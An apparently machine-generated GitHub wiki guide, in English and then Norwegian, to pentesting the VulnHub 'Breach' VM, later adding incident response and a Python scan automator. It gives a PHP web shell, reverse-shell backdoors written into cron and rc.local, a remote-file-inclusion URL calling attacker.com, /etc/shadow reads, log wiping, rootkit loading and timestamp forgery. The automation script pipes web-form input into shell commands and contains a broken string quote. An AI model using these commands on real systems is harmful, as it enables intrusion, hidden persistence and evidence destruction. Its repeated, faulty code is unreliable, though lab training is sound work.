Hacking_Breach Scanning and Enumeration - itnett/FTD02H-N GitHub Wiki
This guide covers the process of scanning and enumeration in a penetration test. It uses a vulnerable machine named Breach from VulnHub. Proper documentation is emphasized as a crucial part of the process.
- Use Text Files: Tools like Nano or Mousepad for taking notes.
- Use Cherrytree: For structured note-taking, screenshots, and annotations.
- Consistency: Keep files organized with clear names for easy reference.
-
Check IP Address:
- Ensure your machine is in the same address space as Breach (192.168.110.0/24).
- Run
ip a
to confirm your IP address.
-
Ping Sweep:
- Create custom scripts for efficiency.
- Example script for ping sweep:
psweep
. - Alternatively, use
netdiscover
ornmap
for discovering IPs.
-
Basic Nmap Scan:
nmap -sS -T4 -n -Pn -p- -oN nmap_all_ports.txt 192.168.110.140
-
-sS
: SYN scan. -
-T4
: Faster scan. -
-n
: No DNS resolution. -
-Pn
: No ping. -
-p-
: All ports. -
-oN
: Output to file.
-
-
Detailed Nmap Scan:
nmap -sC -A -T4 -n -Pn -p80,4444,8443 -oN nmap_deepscan.txt 192.168.110.140
-
-sC
: Default scripts. -
-A
: OS and version detection. -
-p
: Specific ports.
-
-
Using GoBuster:
gobuster dir -u http://192.168.110.140 -w /usr/share/wordlists/dirb/common.txt -o gobuster.txt
-
Using Nikto:
nikto -h http://192.168.110.140 -o nikto.htm
-
Open Ports:
- Port 80 (HTTP)
- Port 4444
- Port 8443 (HTTPS alternative)
-
Nmap Detailed Scan Results:
- Apache 2.4.7 on Ubuntu
- Possible firewall filtering.
-
GoBuster Results:
- Found directories:
/images
,/index.html
- Found directories:
-
Nikto Results:
- Apache 2.4.7 (outdated)
- Various HTTP methods allowed.
-
.gitignore
file present.
- Further enumerate the web application.
- Investigate found directories and files.
- Continue documenting all findings and steps.
This guide should help you in setting up, scanning, and enumerating the Breach machine. Ensure to document each step and finding for a thorough penetration test.
Once you have identified open ports and basic services, the next step is to enumerate the web application for potential vulnerabilities and hidden content.
-
Access the Web Application:
- Open a browser and navigate to
http://192.168.110.140
. - Observe the main page and note any visible content, forms, or links.
- Open a browser and navigate to
-
Explore Found Directories:
- Navigate to directories discovered by GoBuster (e.g.,
/images
,/index.html
). - Look for any interesting files or directories that might not be linked from the main page.
- Navigate to directories discovered by GoBuster (e.g.,
-
Manual Testing:
- Test common vulnerabilities manually:
- SQL Injection: Try inserting SQL meta-characters into form fields.
- Cross-Site Scripting (XSS): Insert JavaScript payloads to check if they are executed.
- Command Injection: Attempt to insert shell commands in form fields.
- Test common vulnerabilities manually:
-
Automated Scanning:
- Use tools like OWASP ZAP or Burp Suite to automate the discovery of vulnerabilities.
zap-cli start zap-cli open-url http://192.168.110.140 zap-cli active-scan -r zap-cli report -o zap_report.html
- Review the report for vulnerabilities and prioritize them for further investigation.
- Use tools like OWASP ZAP or Burp Suite to automate the discovery of vulnerabilities.
With vulnerabilities identified, the next step is to exploit them to gain access to the system.
-
Exploiting SQL Injection:
- If SQL injection is found, use SQLmap to automate exploitation:
sqlmap -u "http://192.168.110.140/vulnerable_page.php?id=1" --dbs
- Extract databases, tables, and data.
- If SQL injection is found, use SQLmap to automate exploitation:
-
Exploiting XSS:
- If XSS is found, create a payload to steal cookies or execute arbitrary code in the user's browser.
-
Gaining Shell Access:
- Use discovered vulnerabilities to upload a web shell or execute commands.
- Example using an uploaded PHP shell:
<?php system($_GET['cmd']); ?>
- Access the shell through the browser and run commands:
http://192.168.110.140/uploads/shell.php?cmd=whoami
Once you have a foothold on the machine, escalate your privileges to gain root or administrative access.
-
Enumerate System Information:
- Gather information about the system to find potential privilege escalation vectors:
uname -a cat /etc/os-release
- Gather information about the system to find potential privilege escalation vectors:
-
Check for SUID Binaries:
- Identify binaries with the SUID bit set, which may allow privilege escalation:
find / -perm -u=s -type f 2>/dev/null
- Identify binaries with the SUID bit set, which may allow privilege escalation:
-
Exploit Misconfigurations:
- Search for writable files or misconfigurations that can be exploited:
find / -writable -type f 2>/dev/null
- Search for writable files or misconfigurations that can be exploited:
-
Use Known Exploits:
- Search for known exploits for the system and software versions found:
searchsploit <software_version>
- Search for known exploits for the system and software versions found:
After gaining root or administrative access, collect further information and establish persistence.
-
Extract Sensitive Data:
- Locate and exfiltrate sensitive data such as passwords, configurations, and personal information:
cat /etc/passwd cat /etc/shadow
- Locate and exfiltrate sensitive data such as passwords, configurations, and personal information:
-
Network Enumeration:
- Discover other machines and services on the network to plan further attacks:
netstat -tuln arp -a
- Discover other machines and services on the network to plan further attacks:
-
Establish Persistence:
- Set up backdoors or scheduled tasks to maintain access:
echo "nc -e /bin/bash 192.168.110.1 4444" > /etc/cron.hourly/backdoor
- Set up backdoors or scheduled tasks to maintain access:
Document all findings, steps, and recommendations in a comprehensive report.
-
Executive Summary:
- Provide an overview of the test, including scope, objectives, and high-level findings.
-
Detailed Findings:
- Document each finding with:
- Description
- Risk level
- Steps to reproduce
- Screenshots or logs
- Document each finding with:
-
Recommendations:
- Offer actionable recommendations for remediation:
- Patching and updates
- Configuration changes
- User training
- Offer actionable recommendations for remediation:
-
Conclusion:
- Summarize the overall security posture and any improvements noted during the test.
Ensure the target environment is returned to its original state and remove any artifacts left behind.
-
Remove Uploaded Files and Shells:
- Delete any files or shells uploaded during the test:
rm /path/to/uploaded/file
- Delete any files or shells uploaded during the test:
-
Revert Configuration Changes:
- Undo any changes made to system configurations for testing purposes.
-
Log Out and Close Sessions:
- Ensure all shells and sessions are closed properly:
exit
- Ensure all shells and sessions are closed properly:
By following these sections, you can thoroughly conduct a penetration test on the Breach machine, documenting every step and finding for a comprehensive security assessment.
Klart, la oss fortsette fra der vi slapp.
Etter å ha identifisert åpne porter og grunnleggende tjenester, er neste trinn å utforske webapplikasjonen for potensielle sårbarheter og skjult innhold.
-
Access the Web Application:
- Åpne en nettleser og naviger til
http://192.168.110.140
. - Observer hovedsiden og noter synlig innhold, skjemaer, eller lenker.
- Se etter synlige tegn på innholdshåndteringssystemer (CMS), rammeverk, eller biblioteker som brukes.
- Åpne en nettleser og naviger til
-
Explore Found Directories:
- Naviger til katalogene som ble funnet med GoBuster (f.eks.
/images
,/index.html
). - Bruk verktøy som Burp Suite for å fange opp og inspisere trafikken når du navigerer på siden.
- Sjekk etter skjulte filer eller mapper ved å prøve vanlige admin-kataloger (
/admin
,/login
,/backup
).
- Naviger til katalogene som ble funnet med GoBuster (f.eks.
-
Manual Testing:
- Test vanlige sårbarheter manuelt:
- SQL Injection: Prøv å sette inn SQL-metategn i skjemafelt og URL-parametere.
- Cross-Site Scripting (XSS): Sett inn JavaScript-payloads i inndatafelter og URL-parametere for å sjekke om de blir utført.
- Command Injection: Forsøk å sette inn skallkommandoer i skjemafelt og URL-parametere.
-
File Inclusion: Prøv å inkludere lokale filer ved å manipulere parametere (f.eks.
../../etc/passwd
).
- Test vanlige sårbarheter manuelt:
-
Automated Scanning:
- Bruk verktøy som OWASP ZAP eller Burp Suite for å automatisere oppdagelsen av sårbarheter.
zap-cli start zap-cli open-url http://192.168.110.140 zap-cli active-scan -r zap-cli report -o zap_report.html
- Analyser rapporten for sårbarheter og prioriter dem for videre undersøkelse.
- Bruk verktøy som OWASP ZAP eller Burp Suite for å automatisere oppdagelsen av sårbarheter.
Etter å ha identifisert sårbarheter, er neste trinn å utnytte dem for å få tilgang til systemet.
-
Exploiting SQL Injection:
- Hvis SQL-injeksjon blir funnet, bruk SQLmap til å automatisere utnyttelsen:
sqlmap -u "http://192.168.110.140/vulnerable_page.php?id=1" --dbs
- Ekstraher databaser, tabeller og data.
- Utfør post-utnyttelse handlinger som å dumpe passordhashes og brute-force dem offline.
- Hvis SQL-injeksjon blir funnet, bruk SQLmap til å automatisere utnyttelsen:
-
Exploiting XSS:
- Hvis XSS blir funnet, skap en payload for å stjele cookies eller utføre vilkårlig kode i brukerens nettleser.
- Sett opp en lytter (listener) for å fange opp stjålne data.
- Analyser potensialet for session hijacking eller eskalering av privilegier.
-
Gaining Shell Access:
- Bruk oppdagede sårbarheter til å laste opp en web shell eller utføre kommandoer.
- Eksempel ved bruk av en lastet opp PHP-shell:
<?php system($_GET['cmd']); ?>
- Få tilgang til shellen via nettleseren og kjør kommandoer:
http://192.168.110.140/uploads/shell.php?cmd=whoami
Etter å ha fått fotfeste på maskinen, eskaler dine privilegier for å få root- eller administratortilgang.
-
Enumerate System Information:
- Samle informasjon om systemet for å finne potensielle vektorer for privilegieeskalering:
uname -a cat /etc/os-release
- Samle informasjon om systemet for å finne potensielle vektorer for privilegieeskalering:
-
Check for SUID Binaries:
- Identifiser binærfiler med SUID-bit satt, som kan tillate privilegieeskalering:
find / -perm -u=s -type f 2>/dev/null
- Identifiser binærfiler med SUID-bit satt, som kan tillate privilegieeskalering:
-
Exploit Misconfigurations:
- Søk etter skrivbare filer eller feilkonfigurasjoner som kan utnyttes:
find / -writable -type f 2>/dev/null
- Søk etter skrivbare filer eller feilkonfigurasjoner som kan utnyttes:
-
Use Known Exploits:
- Søk etter kjente exploits for system- og programvareversjoner som er funnet:
searchsploit <software_version>
- Bruk online databaser som Exploit Database eller Rapid7 Metasploit for oppdatert informasjon om sårbarheter.
- Søk etter kjente exploits for system- og programvareversjoner som er funnet:
Etter å ha fått root- eller administratortilgang, samler du ytterligere informasjon og etablerer persistens.
-
Extract Sensitive Data:
- Lokaliser og eksfiltrer sensitive data som passord, konfigurasjoner, og personlig informasjon:
cat /etc/passwd cat /etc/shadow
- Lokaliser og eksfiltrer sensitive data som passord, konfigurasjoner, og personlig informasjon:
-
Network Enumeration:
- Oppdag andre maskiner og tjenester på nettverket for å planlegge videre angrep:
netstat -tuln arp -a
- Oppdag andre maskiner og tjenester på nettverket for å planlegge videre angrep:
-
Establish Persistence:
- Sett opp backdoors eller planlagte oppgaver for å opprettholde tilgang:
echo "nc -e /bin/bash 192.168.110.1 4444" > /etc/cron.hourly/backdoor
- Bruk verktøy som Metasploit's persistence module for å automatisere denne prosessen.
- Sett opp backdoors eller planlagte oppgaver for å opprettholde tilgang:
La oss gå videre til neste seksjon hvor vi dykker dypere inn i verktøy og teknikker for å oppdage og utnytte spesifikke sårbarheter i webapplikasjoner. Vi vil se på bruk av spesialiserte verktøy og avanserte manuelle teknikker for å maksimere utnyttelsen.
Når de grunnleggende sårbarhetene er identifisert og utnyttet, er det viktig å utforske mer avanserte teknikker for å avdekke og utnytte mindre åpenbare sårbarheter. Denne delen dekker spesialiserte verktøy og avanserte manuelle teknikker for webapplikasjonstesting.
SQL-injeksjoner kan være mer komplekse enn enkle angrep. Utforsk avanserte teknikker for å omgå filtre og brannmurer.
-
Blind SQL Injection:
- Bruk tidsbaserte teknikker for å eksfiltrere data når ingen direkte utdata er tilgjengelig.
sqlmap -u "http://192.168.110.140/vulnerable_page.php?id=1" --time-sec=5 --dbs
- Utfør inferensbaserte angrep ved å bruke betingelser som endrer sideinnhold eller responstid basert på resultatene av SQL-spørringer.
- Bruk tidsbaserte teknikker for å eksfiltrere data når ingen direkte utdata er tilgjengelig.
-
Second-Order SQL Injection:
- Identifiser steder hvor input lagres i databasen og deretter brukes i en annen SQL-spørring.
- Injiser SQL-payloads i en første forespørsel og observer effekten i en sekundær forespørsel eller applikasjonens backend-prosesser.
Forbedre XSS-angrep ved å bruke sofistikerte payloads og teknikker for å omgå vanlige forsvar.
-
DOM-Based XSS:
- Analyser JavaScript-koden for å finne sårbar inputbehandling på klientsiden.
- Injiser payloads som manipulerer DOM (Document Object Model) direkte.
<script>document.write('<img src=x onerror=alert(1)>');</script>
-
Stored XSS:
- Finn steder hvor ondsinnet kode kan lagres på serveren og utføres når dataene hentes av andre brukere.
- Utforsk metoder for å injisere vedvarende skript som stjeler cookies eller utfører handlinger på vegne av offeret.
Utnytt muligheten til å inkludere eksterne eller lokale filer gjennom webapplikasjonen.
-
Remote File Inclusion (RFI):
- Inkluder eksterne skript ved å manipulere filparametere i URL-er.
http://192.168.110.140/vulnerable_page.php?file=http://attacker.com/shell.txt
- Inkluder eksterne skript ved å manipulere filparametere i URL-er.
-
Local File Inclusion (LFI):
- Utforsk muligheten for å inkludere lokale filer ved hjelp av relativ filbane-manipulering.
http://192.168.110.140/vulnerable_page.php?file=../../../../etc/passwd
- Utforsk muligheten for å inkludere lokale filer ved hjelp av relativ filbane-manipulering.
Utnytt sårbarheter hvor brukerinput settes direkte inn i kommandolinjeinstruksjoner.
-
Basic Command Injection:
- Prøv å injisere kommandoer direkte i skjemafelt eller URL-parametere.
http://192.168.110.140/vulnerable_page.php?cmd=ls
- Prøv å injisere kommandoer direkte i skjemafelt eller URL-parametere.
-
Advanced Techniques:
- Bruk sekvensoperatører for å kjede sammen kommandoer og omgå enkle filtre.
http://192.168.110.140/vulnerable_page.php?cmd=ls;cat /etc/passwd
- Bruk sekvensoperatører for å kjede sammen kommandoer og omgå enkle filtre.
Dypere utforskning av webserver- og applikasjonskonfigurasjoner kan avdekke skjulte sårbarheter.
-
Misconfigured Directories:
- Sjekk for katalogindeksering hvor sensitive filer kan være synlige og tilgjengelige.
- Finn .git, .svn eller andre versjonskontrollmapper som kan inneholde konfigurasjonsfiler og kodehistorikk.
-
Exposed Configuration Files:
- Let etter konfigurasjonsfiler som kan være tilgjengelige via webserveren og inneholde følsomme opplysninger.
http://192.168.110.140/.env
- Let etter konfigurasjonsfiler som kan være tilgjengelige via webserveren og inneholde følsomme opplysninger.
-
Default Credentials and Misconfigurations:
- Prøv standard brukernavn og passord for populære applikasjoner og administrasjonsgrensesnitt.
- Utnytt dårlige konfigurasjoner, som eksternt tilgjengelige administrasjonsverktøy eller ukonfigurerte sikkerhetsinnstillinger.
Neste seksjon vil dekke teknikker for å sikre persistens og skjule spor etter utnyttelse. Dette inkluderer bruk av rootkits, manipulering av loggfiler, og metoder for å skjule tilstedeværelsen i et kompromittert system.
Etter å ha oppnådd tilgang til systemet og eskalert privilegiene, er det viktig å sikre at tilgangen opprettholdes og at aktivitetene dine ikke blir oppdaget. Denne delen dekker teknikker for å etablere persistens og skjule sporene etter utnyttelse.
For å sikre langvarig tilgang til det kompromitterte systemet, kan du sette opp ulike metoder som lar deg komme tilbake etter omstart eller etter at angrepsvektorene er adressert.
-
Creating Backdoors:
- Installer en reversert skall som lar deg koble til systemet når du ønsker.
nc -e /bin/bash 192.168.110.1 4444 &
- Bruk persistensmoduler i verktøy som Metasploit for å automatisere prosessen.
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.110.1 set LPORT 4444 exploit meterpreter > run persistence -U -i 5 -r 192.168.110.1 -p 4444
- Installer en reversert skall som lar deg koble til systemet når du ønsker.
-
Scheduled Tasks and Cron Jobs:
- Opprett planlagte oppgaver som kjører backdoor-skript periodisk.
echo "*/5 * * * * /bin/bash -c 'nc -e /bin/bash 192.168.110.1 4444'" > /etc/cron.d/backdoor
- Opprett planlagte oppgaver som kjører backdoor-skript periodisk.
-
Manipulating Initialization Scripts:
- Endre oppstarts- eller init-skript for å inkludere en bakdør.
echo "/bin/bash -i >& /dev/tcp/192.168.110.1/4444 0>&1" >> /etc/rc.local
- Endre oppstarts- eller init-skript for å inkludere en bakdør.
For å unngå deteksjon, må du skjule dine aktiviteter og fjerne bevis for din tilstedeværelse.
-
Clearing Logs:
- Slett eller endre loggfiler som kan inneholde spor etter dine aktiviteter.
echo > /var/log/auth.log echo > /var/log/syslog
- Bruk verktøy som logcleare for å automatisk fjerne spesifikke loggposter.
logcleare -r -p "nc -e /bin/bash"
- Slett eller endre loggfiler som kan inneholde spor etter dine aktiviteter.
-
Hiding Processes:
- Bruk rootkits som Hacker Defender eller Adore for å skjule prosesser og filer.
- Installer verktøy som LD_PRELOAD-baserte rootkits for å skjule aktiviteter fra systemverktøy.
export LD_PRELOAD=/path/to/rootkit.so
-
Modifying Timestamps:
- Endre fil- og katalogtidsstempler for å skjule endringsaktivitet.
touch -t 202007040000 /path/to/modified/file
- Endre fil- og katalogtidsstempler for å skjule endringsaktivitet.
Rootkits gir en dypere nivå av skjuling og kontroll over et kompromittert system.
-
Kernel-Level Rootkits:
- Installere rootkits som opererer på kjernenivå for å fange opp og manipulere systemanrop.
insmod /path/to/rootkit.ko
- Installere rootkits som opererer på kjernenivå for å fange opp og manipulere systemanrop.
-
User-Level Rootkits:
- Bruk user-space rootkits for å skjule prosesser og filer fra brukernivå applikasjoner.
- Endre binære filer som
ps
,ls
, ognetstat
for å skjule spesifikke prosesser og nettverkstilkoblinger.
-
Advanced Techniques:
- Bruk Direct Kernel Object Manipulation (DKOM) for å endre kjernestrukturer direkte og skjule prosesser eller moduler.
- Implementer Inline Hooking for å endre systemanrop på flytenivå uten å endre kjernen.
Å opprette persistens og dekke spor er kritisk for å opprettholde tilgang og unngå deteksjon etter et vellykket angrep. Ved å bruke avanserte teknikker og verktøy, kan du sikre at din tilstedeværelse på systemet forblir uoppdaget i lengre perioder.
I neste seksjon skal vi utforske metodene for å analysere og etterforske et kompromittert system fra et forsvars- og hendelseshåndteringsperspektiv. Vi vil dekke teknikker for å oppdage og motvirke angrep, samt hvordan du kan forbedre sikkerhetsovervåkning og hendelsesrespons.
Når et system er kompromittert, er det viktig å gjennomføre en grundig analyse og respons for å begrense skaden og forhindre fremtidige angrep. Denne delen dekker teknikker for å oppdage og motvirke angrep, samt hvordan du kan forbedre sikkerhetsovervåkning og hendelsesrespons.
Når et kompromittert system oppdages, er de første trinnene kritiske for å kontrollere situasjonen og begynne undersøkelsen.
-
Containment:
- Isoler det kompromitterte systemet fra nettverket for å forhindre videre spredning av angrepet.
ifconfig eth0 down
- Vurder bruk av nettverkssegmentering og VLAN for å begrense spredningen av skadelig aktivitet.
- Isoler det kompromitterte systemet fra nettverket for å forhindre videre spredning av angrepet.
-
Preservation of Evidence:
- Unngå å gjøre endringer på systemet som kan ødelegge bevis.
- Ta en minne-dump og diskavbildning for analyse.
dd if=/dev/sda of=/path/to/disk_image.img
- Bruk verktøy som FTK Imager eller Volatility for å samle inn og analysere minne.
-
Documentation:
- Dokumenter alle handlinger som tas, inkludert tidsstempler og hvem som utførte dem.
- Opprett en hendelseslogg for å sikre at all informasjon om hendelsen er registrert.
Gjennomfør en grundig analyse av de innsamlede bevisene for å forstå angrepet og finne ut hvordan systemet ble kompromittert.
-
Disk Analysis:
- Analyser diskavbildningen for å identifisere skadelig programvare, endringer i systemfiler og andre tegn på kompromittering.
- Bruk verktøy som Autopsy eller Sleuth Kit for filsystemanalyse.
-
Memory Analysis:
- Undersøk minne-dumpen for å identifisere aktive prosesser, nettverksforbindelser og skadelig kode i minnet.
- Bruk Volatility til å kjøre forskjellige plugins for minneanalyse.
volatility -f /path/to/memory_dump.img imageinfo volatility -f /path/to/memory_dump.img pslist
-
Log Analysis:
- Gå gjennom systemlogger for å identifisere uvanlig aktivitet, påloggingsforsøk og endringer i systemkonfigurasjon.
- Bruk skript og verktøy for å automatisere logganalyse og oppdage mistenkelige mønstre.
grep "Failed password" /var/log/auth.log
Analyser nettverkstrafikk for å identifisere kommunikasjon med skadelig aktører og dataeksfiltrering.
-
Packet Capture:
- Samle inn nettverkspakker fra det kompromitterte systemet for analyse.
tcpdump -i eth0 -w /path/to/packet_capture.pcap
- Samle inn nettverkspakker fra det kompromitterte systemet for analyse.
-
Traffic Analysis:
- Analyser nettverkstrafikken for å identifisere kommunikasjon med eksterne IP-adresser og uvanlig trafikk.
- Bruk verktøy som Wireshark eller Tshark for dypere analyse.
wireshark /path/to/packet_capture.pcap
-
Indicators of Compromise (IoCs):
- Identifiser og dokumenter IoCs som brukes av angripere, som IP-adresser, domenenavn, og filhashes.
- Del IoCs med andre team og bransjeorganisasjoner for å forbedre kollektiv respons og forebygging.
Etter å ha forstått omfanget og naturen av angrepet, implementer tiltak for å gjenopprette systemet og forhindre fremtidige angrep.
-
System Restoration:
- Gjenopprett systemet fra en ren backup om nødvendig.
- Kontroller at alle bakdører og skadelig kode er fjernet før systemet settes tilbake i produksjon.
-
Patch Management:
- Oppdater alle programvare- og systemkomponenter for å tette sikkerhetshull som ble utnyttet.
- Implementer en robust patch management prosess for å sikre at alle systemer forblir oppdaterte.
-
Security Enhancements:
- Forbedre systemets sikkerhet ved å implementere beste praksis for sikkerhetskonfigurasjon.
- Aktiver flerfaktorautentisering (MFA) og styrk passordpolicyer.
-
Monitoring and Detection:
- Sett opp kontinuerlig overvåking av systemer og nettverk for å oppdage fremtidige angrep tidlig.
- Bruk verktøy som SIEM (Security Information and Event Management) for å korrelere logger og oppdage mistenkelig aktivitet.
Etter hendelsen er det viktig å dokumentere funnene og trekke lærdommer for å forbedre fremtidig respons.
-
Incident Report:
- Utarbeid en detaljert rapport som dekker alle aspekter av hendelsen, inkludert tidslinje, angrepsvektorer, og responsaktiviteter.
- Inkluder tekniske detaljer og anbefalinger for å forhindre lignende hendelser i fremtiden.
-
Post-Incident Review:
- Hold et møte for å diskutere hendelsen og vurdere responsen.
- Identifiser hva som fungerte bra og hva som kan forbedres.
-
Implement Lessons Learned:
- Oppdater sikkerhetspolicyer og prosesser basert på erfaringene fra hendelsen.
- Tren opp ansatte og sikkerhetsteamet på de nye prosedyrene og forbedrede sikkerhetstiltakene.
I neste seksjon skal vi utforske hvordan du kan bruke trusselinformasjon og etterretning til å forutse og forhindre fremtidige angrep. Dette inkluderer bruk av data fra tidligere hendelser, deling av informasjon med bransjeorganisasjoner, og implementering av proaktive sikkerhetstiltak.
For å effektivisere prosessen med skanning, eksploitering og dokumentasjon, kan vi bruke automatiseringsverktøy og skript for å sikre at alle trinn blir utført konsekvent og effektivt. Her er en tilnærming til å automatisere hele prosessen ved å bruke verktøy som Python, Bash, og kjente sikkerhetsverktøy.
Vi kan bruke et Python-skript som orkestrerer skanning, exploit, og rapportgenerering.
-
Oppsett av Miljø
- Installer nødvendige verktøy og biblioteker:
sudo apt-get update sudo apt-get install nmap gobuster nikto python3 python3-pip pip3 install cherrypy
- Installer nødvendige verktøy og biblioteker:
-
Python-Skript for Automatisering Lag et Python-skript som utfører skanning og exploit, og genererer dokumentasjon automatisk.
import subprocess import os import datetime import cherrypy def run_command(command): process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = process.communicate() return stdout.decode(), stderr.decode() def perform_scan(target_ip): timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") report_dir = f"reports/{target_ip}_{timestamp}" os.makedirs(report_dir, exist_ok=True) # Nmap scan nmap_command = f"nmap -sS -T4 -n -Pn -p- -oN {report_dir}/nmap_all_ports.txt {target_ip}" nmap_output, nmap_error = run_command(nmap_command) # Detailed Nmap scan nmap_detail_command = f"nmap -sC -A -T4 -n -Pn -p80,4444,8443 -oN {report_dir}/nmap_deepscan.txt {target_ip}" nmap_detail_output, nmap_detail_error = run_command(nmap_detail_command) # Gobuster scan gobuster_command = f"gobuster dir -u http://{target_ip} -w /usr/share/wordlists/dirb/common.txt -o {report_dir}/gobuster.txt" gobuster_output, gobuster_error = run_command(gobuster_command) # Nikto scan nikto_command = f"nikto -h http://{target_ip} -o {report_dir}/nikto.htm" nikto_output, nikto_error = run_command(nikto_command) return report_dir def generate_documentation(report_dir, target_ip): with open(f"{report_dir}/report.txt", 'w') as report: report.write(f"Automated Scan Report for {target_ip}\n") report.write(f"Scan conducted on: {datetime.datetime.now()}\n\n") report.write("Nmap All Ports Scan:\n") with open(f"{report_dir}/nmap_all_ports.txt", 'r') as nmap_all: report.write(nmap_all.read()) report.write("\n\nNmap Detailed Scan:\n") with open(f"{report_dir}/nmap_deepscan.txt", 'r') as nmap_detail: report.write(nmap_detail.read()) report.write("\n\nGobuster Scan:\n") with open(f"{report_dir}/gobuster.txt", 'r') as gobuster: report.write(gobuster.read()) report.write("\n\nNikto Scan:\n") with open(f"{report_dir}/nikto.htm", 'r') as nikto: report.write(nikto.read()) class WebServer: @cherrypy.expose def index(self): return """<html> <head><title>Automated Scan</title></head> <body> <h2>Enter Target IP for Automated Scan</h2> <form method="post" action="scan"> <input type="text" name="target_ip" /> <button type="submit">Start Scan</button> </form> </body> </html>""" @cherrypy.expose def scan(self, target_ip): report_dir = perform_scan(target_ip) generate_documentation(report_dir, target_ip) return f"Scan completed. Report saved in {report_dir}/report.txt" if __name__ == "__main__": cherrypy.quickstart(WebServer())
-
Kjøring av Skriptet
- Kjør skriptet for å starte webserveren:
python3 automate_scan.py
- Åpne en nettleser og gå til
http://localhost:8080
for å starte en skanning.
- Kjør skriptet for å starte webserveren:
-
Lagring og Tagging av Dokumentasjon
- Rapporter lagres automatisk med tidsstempel og IP-adresse for enkel referanse og gjenbruk.
- Filene kan enkelt bli lastet opp til en dokumentasjonsplattform eller versjonskontrollsystem for deling og samarbeid.
Denne automatiseringen gir en enkel måte å utføre skanning og generere dokumentasjon på. For videre utvidelse kan vi inkludere:
-
Integrasjon med CI/CD Pipelines:
- Integrere skanningene i kontinuerlige integrasjons- og distribusjonspipelines for regelmessig sikkerhetstesting.
-
Utvidelse med Flere Verktøy:
- Inkluder flere verktøy som Burp Suite, SQLmap, og andre for en mer omfattende sikkerhetsskanning.
-
Rapportering og Varsling:
- Send automatiserte rapporter og varsler til sikkerhetsteamet for rask respons og tiltak.
-
Forbedret Brukergrensesnitt:
- Utvikle et mer avansert webgrensesnitt for å administrere og gjennomgå skanningene og resultatene.
Med disse tilleggene kan vi sikre en robust og skalerbar automatiseringsløsning for sikkerhetsskanning og dokumentasjon.
Vi skal utvide skriptet og implementere integrasjon med CI/CD pipelines, flere verktøy, automatisert rapportering og varsling, og forbedret brukergrensesnitt.
Ved å integrere skanningene i CI/CD pipelines, kan vi sikre regelmessig sikkerhetstesting.
-
CI/CD Pipeline Skript
- Lag en
Jenkinsfile
eller GitHub Actions workflow for å integrere automatiserte skanninger.
Jenkinsfile:
pipeline { agent any stages { stage('Checkout') { steps { checkout scm } } stage('Install Dependencies') { steps { sh 'sudo apt-get update' sh 'sudo apt-get install -y nmap gobuster nikto python3 python3-pip' sh 'pip3 install cherrypy' } } stage('Run Scan') { steps { sh 'python3 automate_scan.py' } } } }
GitHub Actions Workflow (
.github/workflows/scan.yml
):name: Security Scan on: [push] jobs: build: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v2 - name: Install dependencies run: | sudo apt-get update sudo apt-get install -y nmap gobuster nikto python3 python3-pip pip3 install cherrypy - name: Run scan run: python3 automate_scan.py
- Lag en
Vi utvider skriptet til å inkludere flere verktøy som Burp Suite og SQLmap.
-
Oppdatert Python-Skript Legg til bruk av Burp Suite og SQLmap for mer omfattende skanning.
import subprocess import os import datetime import cherrypy def run_command(command): process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = process.communicate() return stdout.decode(), stderr.decode() def perform_scan(target_ip): timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") report_dir = f"reports/{target_ip}_{timestamp}" os.makedirs(report_dir, exist_ok=True) # Nmap scan nmap_command = f"nmap -sS -T4 -n -Pn -p- -oN {report_dir}/nmap_all_ports.txt {target_ip}" nmap_output, nmap_error = run_command(nmap_command) # Detailed Nmap scan nmap_detail_command = f"nmap -sC -A -T4 -n -Pn -p80,4444,8443 -oN {report_dir}/nmap_deepscan.txt {target_ip}" nmap_detail_output, nmap_detail_error = run_command(nmap_detail_command) # Gobuster scan gobuster_command = f"gobuster dir -u http://{target_ip} -w /usr/share/wordlists/dirb/common.txt -o {report_dir}/gobuster.txt" gobuster_output, gobuster_error = run_command(gobuster_command) # Nikto scan nikto_command = f"nikto -h http://{target_ip} -o {report_dir}/nikto.htm" nikto_output, nikto_error = run_command(nikto_command) # Burp Suite scan (assuming Burp Suite CLI is installed and configured) burp_command = f"burpsuite -c burp_config.json -t {target_ip} -o {report_dir}/burpsuite_report.html" burp_output, burp_error = run_command(burp_command) # SQLmap scan for SQL injection sqlmap_command = f"sqlmap -u 'http://{target_ip}/vulnerable_page.php?id=1' --batch --output-dir={report_dir}" sqlmap_output, sqlmap_error = run_command(sqlmap_command) return report_dir def generate_documentation(report_dir, target_ip): with open(f"{report_dir}/report.txt", 'w') as report: report.write(f"Automated Scan Report for {target_ip}\n") report.write(f"Scan conducted on: {datetime.datetime.now()}\n\n") report.write("Nmap All Ports Scan:\n") with open(f"{report_dir}/nmap_all_ports.txt", 'r') as nmap_all: report.write(nmap_all.read()) report.write("\n\nNmap Detailed Scan:\n") with open(f"{report_dir}/nmap_deepscan.txt", 'r') as nmap_detail: report.write(nmap_detail.read()) report.write("\n\nGobuster Scan:\n") with open(f"{report_dir}/gobuster.txt", 'r') as gobuster: report.write(gobuster.read()) report.write("\n\nNikto Scan:\n") with open(f"{report_dir}/nikto.htm", 'r') as nikto: report.write(nikto.read()) report.write("\n\nBurp Suite Scan:\n") with open(f"{report_dir}/burpsuite_report.html", 'r') as burp: report.write(burp.read()) report.write("\n\nSQLmap Scan:\n") with open(f"{report_dir}/sqlmap/log', 'r') as sqlmap: report.write(sqlmap.read()) class WebServer: @cherrypy.expose def index(self): return """<html> <head><title>Automated Scan</title></head> <body> <h2>Enter Target IP for Automated Scan</h2> <form method="post" action="scan"> <input type="text" name="target_ip" /> <button type="submit">Start Scan</button> </form> </body> </html>""" @cherrypy.expose def scan(self, target_ip): report_dir = perform_scan(target_ip) generate_documentation(report_dir, target_ip) return f"Scan completed. Report saved in {report_dir}/report.txt" if __name__ == "__main__": cherrypy.quickstart(WebServer())
-
Automatisert Rapportering og Varsling Vi kan bruke e-post eller webhook for å sende varsler når en skanning er fullført.
E-postvarsling:
